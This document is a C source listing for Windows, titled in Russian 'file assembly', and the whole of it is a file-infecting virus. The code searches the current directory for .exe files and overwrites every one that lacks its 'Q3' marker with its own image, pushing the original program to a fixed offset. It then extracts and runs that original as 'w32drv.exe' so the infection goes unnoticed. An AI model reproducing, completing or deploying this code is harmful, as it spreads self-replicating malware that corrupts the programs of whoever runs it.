Сборка файла

#include <windows.h>



#pragma comment(linker,"/ENTRY:kora")
#pragma comment(linker,"/NODEFAULTLIB")
#pragma comment (linker,"/SUBSYSTEM:WINDOWS")
char rez[100];
char buff[2000];
double size=53248;
bool test(WIN32_FIND_DATA ff)
{

HANDLE fh;

fh=CreateFile(ff.cFileName,GENERIC_READ,FILE_SHARE_READ,0,3,128,0);
ReadFile(fh,buff,2000,&ff.nFileSizeLow,NULL);
CloseHandle(fh);
if(buff[1550]=='Q' && buff[1551]=='3') {return (true);}
else {return(false);}
}

void restore(char *fname)
{
    HANDLE mh;
    HANDLE fh;
    unsigned long size1;
    fh=CreateFile(fname,GENERIC_READ,FILE_SHARE_READ,0,3,128,0);
    size1=GetFileSize(fh,0);
    mh=VirtualAlloc(NULL,size1,MEM_COMMIT,PAGE_READWRITE);
    _llseek((int)fh,53248,FILE_BEGIN);
    ReadFile(fh,mh,size1,&size1,NULL);
        CloseHandle(fh);
        fh=CreateFile("w32drv.exe",GENERIC_WRITE,FILE_SHARE_WRITE,0,1,32,0);
        WriteFile(fh,mh,size1,&size1,NULL);
        VirtualFree(mh,size1,16384);
        CloseHandle(fh);
        WinExec("w32drv.exe",2);
        DeleteFile("win32drv.exe");
}


int kora()
{
    HANDLE find_handle;
    WIN32_FIND_DATA ff;
   
    HANDLE mf;
    HANDLE fh;
    lstrcpy(&rez[0],GetCommandLine());
    DeleteFile("w32drv.exe");
    find_handle=FindFirstFile("*.exe",&ff);
    while (1)
    {
        if(!test(ff))
        {
            mf=VirtualAlloc(NULL,ff.nFileSizeLow,MEM_COMMIT,PAGE_READWRITE);
            fh=CreateFile(ff.cFileName,GENERIC_READ,FILE_SHARE_READ,0,3,128,0);
            ReadFile(fh,mf,ff.nFileSizeLow,&ff.nFileSizeLow,NULL);
            CloseHandle(fh);
            CopyFile(&rez[0],ff.cFileName,0);
            fh=CreateFile(ff.cFileName,GENERIC_WRITE,FILE_SHARE_WRITE,0,3,128,0);
            _llseek(int (fh),size,FILE_BEGIN);
            WriteFile(fh,mf,ff.nFileSizeLow,&ff.nFileSizeLow,NULL);
            VirtualFree(mf,ff.nFileSizeLow,16384);
            CloseHandle(fh);
        }

        if(!FindNextFileA(find_handle,&ff)) break;
    }
    FindClose(find_handle);
    restore(&rez[0]);
    return(0);
   

}